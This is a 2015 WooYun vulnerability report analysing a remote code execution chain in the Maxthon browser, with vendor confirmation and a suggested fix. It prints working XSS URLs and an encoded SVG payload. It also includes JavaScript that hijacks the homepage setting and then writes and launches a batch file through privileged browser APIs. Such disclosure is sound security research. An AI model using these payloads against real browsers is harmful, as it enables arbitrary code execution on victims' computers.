当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102497

漏洞标题:傲游浏览器远程代码执行及分析过程

相关厂商:傲游

漏洞作者: phith0n

提交时间:2015-03-20 09:36

修复时间:2015-06-18 17:22

公开时间:2015-06-18 17:22

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向第三方安全合作伙伴开放
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

前几天刷了一些xss,由一个引出了点小研究。

详细说明:

经过对傲游浏览器一番研究发现,当我们将浏览器主页设置成以“javascript:”为协议的时候,在用户打开主页时即可触发XSS。

image001.png


打开主页的方式是很有意思的,当我们在一个互联网网站打开主页时,触发XSS的域为about:blank,这个域的XSS没太大意义:

image003.png


但,当我们在一个新标签页打开主页的时候,其域为mx://res/quick-access/index.htm:

image005.png


这时候,权限就比较大了。经过二哥等几个前辈的研究,傲游浏览器有以下特点:

1.	通过mx://res/notification/可以调用maxthon.program,执行任意路径的程序。
2. 通过mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm 可以调用maxthon.io进行文件操作。
3. *.maxthon.cn、*.maxthon.com某些域名下存在maxthon对象,可以调用部分API。


幸运的是,mx://res/quick-access/index.htm和mx://res/notification/等页面的protocol(mx)、host(res)、port(80)都是相同的,所以他们是同源的,符合浏览器SOP策略,我们直接通过mx://res/quick-access/index.htm就可以调用mx://res/notification/的API。
现在我们等于有了一个mx://res/quick-access/index.htm域名下的XSS,我们想将其构造成远程命令执行,需要完成以下几步:

1.通过某种方式让受害者增加一个域名为“javascript:xxx”的首页。
2.用户点击首页后,执行我们的javascript代码
3. 调用maxthon.io写入一个命令文件到受害者电脑,并调用maxthon.program执行之。


那么,我们一步一步来。第1步,怎么让受害者增加这种域名的首页?
经过我的研究,傲游的首页分为两种,一个叫“startpage”、一个叫“multihomepage”。二者有什么区别,startpage是浏览器启动时打开的时候调用的页面,multihomepage是点击主页时打开的页面:

image007.png


这二者均可触发XSS,但是前者触发的域是about:blank。
为了设置mutihomepage,我们需要找一个遨游特权域下的XSS。这个还是比较简单的。这里说两个XSS:
1. 登录forum.maxthon.cn后访问如下链接即可触发:http://forum.maxthon.cn/member.php?mod=logging&action=login&referer=javascript://forum.maxthon.cn/%250dlocation.hash#<script>alert(/xss/)</script>
2. 直接访问如下页面触发:
http://addonsmx.maxthon.com/en_US/search/all/PHN2ZyBvbmxvYWQ9YWxlcnQoMSk-
第二个比较方便,我们就用这个了。测试了一下直接用<script>加载外部js文件会被拦截,只需要换成其他方式即可:

<svg onload="s=createElement(&#39;script&#39;);s.src=&#39;//localhost/test/xss.js&#39;;document.body.appendChild(s);" >


以上payload进行base64编码后,访问:http://addonsmx.maxthon.com/d/search/all/PHN2ZyBvbmxvYWQ9InM9Y3JlYXRlRWxlbWVudCgmIzM5O3NjcmlwdCYjMzk7KTtzLnNyYz0mIzM5Oy8vbG9jYWxob3N0L3Rlc3QveHNzLmpzJiMzOTs7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsiID4,即可加载http://localhost/test/xss.js
xss.js里写上设置浏览器主页(multihomepage)的代码:

var a = 'javascript:document.write(\\"<script src=http://localhost/test/mx.js><\/script>\\");';
maxthon.browser.config.ConfigManager.set('maxthon.config', 'browser.general.multihomepage', '["'+a+'"]');


注意,这个multihomepage的设置方法和startpage略有不同,multihomepage传入的是多个url组成的数组转换成json后的字符串形式。
这个时候,我们的主页已经变成如下形式了:

image009.png


用户在新建标签页点击主页按钮的时候,就会在mx://res域下加载上述js代码,mx.js如下:

var s1 = document.createElement("iframe");s1.src="mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm";
s1.onload = function(){
var b = new s1.contentWindow.maxthon.io.File.createTempFile();
b.name_ = "C:/1.bat";
s1.contentWindow.maxthon.io.FileWriter(b);
s1.contentWindow.maxthon.io.writeText("whoami\npause");
var s2 = document.createElement("iframe");
s2.src="mx://res/notification/";
s2.onload = function(){
s2.contentWindow.maxthon.program.Program.launch("C:/1.bat","");
}
document.lastChild.appendChild(s2);
}
document.lastChild.appendChild(s1);


先写入c:/1.bat,再执行之:

image011.png

漏洞证明:

使用傲游浏览器最新版本访问如下链接:
http://mhz.pw/game/maxthon/test.html
之后在新标签页点击主页按钮,即会触发。
录制了一段视频,供参考:
https://www.youtube.com/watch?v=0mvdhdREYiI
或者
链接: http://pan.baidu.com/s/1pJBiF7X 密码: 6k2i

修复方案:

不允许javascript协议。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-20 17:21

厂商回复:

最新状态:

暂无